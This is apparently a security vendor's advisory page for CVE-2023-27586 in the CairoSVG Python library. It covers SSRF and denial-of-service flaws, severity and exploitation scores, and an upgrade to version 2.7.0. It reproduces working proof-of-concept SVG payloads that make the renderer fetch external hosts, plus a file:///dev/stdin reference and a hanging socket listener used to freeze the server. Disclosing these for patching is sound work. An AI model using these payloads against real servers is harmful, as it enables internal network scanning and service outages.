CVE-2023-27586 is a critical-severity (CVSS 9.9) vulnerability in cairosvg. A fix is available for cairosvg — see the affected versions and patch details below.
CairoSVG improperly processes SVG files loaded from external resources
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-27586.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2023-27586 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
cairosvgReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
SSRF vulnerability
Summary
When CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.
Operating system, version and so on
Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9
Tested CairoSVG version
2.6.0
Details
A specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources. It looks like this bug can affect websites and cause request forgery on the server.
PoC
- Generating malicious svg file: 1.1 CairoSVG_exploit.svg:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<image height="200" width="200" xlink:href="http://[jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com](http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/)/3" />
<style type="text/css">@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5");</style>
<style type="text/css">
<![CDATA[
@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9");
rect { fill: red; stroke: blue; stroke-width: 3 }
]]>
</style>
</svg>
1.2 CairoSVG_exploit_2.svg:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
<pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
<image xlink:href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/11" x="0" y="0" width="600" height="450" />
</pattern>
</defs>
<path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 M215,100 a50,50 0 1 1 -100,0 50,50 0 1 1 100,0 M265,50 l50,100 l-100,0 l50,-100 z" fill="url(#img1)" />
</svg>
1.3 CairoSVG_exploit_3.svg:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<use href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/13" />
</svg>
-
Run some commands:
$ python3 -m cairosvg CairoSVG_exploit.svg -f png$ python3 -m cairosvg CairoSVG_exploit_2.svg -f png$ python3 -m cairosvg CairoSVG_exploit_3.svg -f png -
See result requests in Burp Collaborator:
DOS vulnerability with SSTI
Summary
When CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang. It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.
Operating system, version and so on
Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9
Tested CairoSVG version
2.6.0
PoC
- Generating malicious svg file:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<use href="http://192.168.56.1:1234/" />
</svg>
- In other server run this python program:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with conn:
while True:
data = conn.recv(2048)
s.close()
- Run commands:
$timeout 60 python3 -m cairosvg CairoSVG_exploit_dos.svg -f png(without timeout server will hang forever)
DOS vulnerability with stdin file descriptor
Summary
Specially crafted SVG file that opens /proc/self/fd/1 or /dev/stdin results in a hang with a tiny PoC file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted SVG file. It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.
Operating system, version and so on
Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9
Tested CairoSVG version
2.6.0
PoC
- Generating malicious svg file:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<use href="file:///dev/stdin" />
</svg>
- In other server run this python program:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with conn:
while True:
data = conn.recv(2048)
s.close()
- Run commands:
$timeout 60 python3 -m cairosvg cariosvg_exploit_dos.svg -f png
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | cairosvg | all versions | 2.7.0pip install --upgrade 'cairosvg==2.7.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for cairosvg, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update cairosvg to 2.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-27586 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2023-27586 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2023-27586. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2023-27586 in your dependencies?
O3 Security finds CVE-2023-27586 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.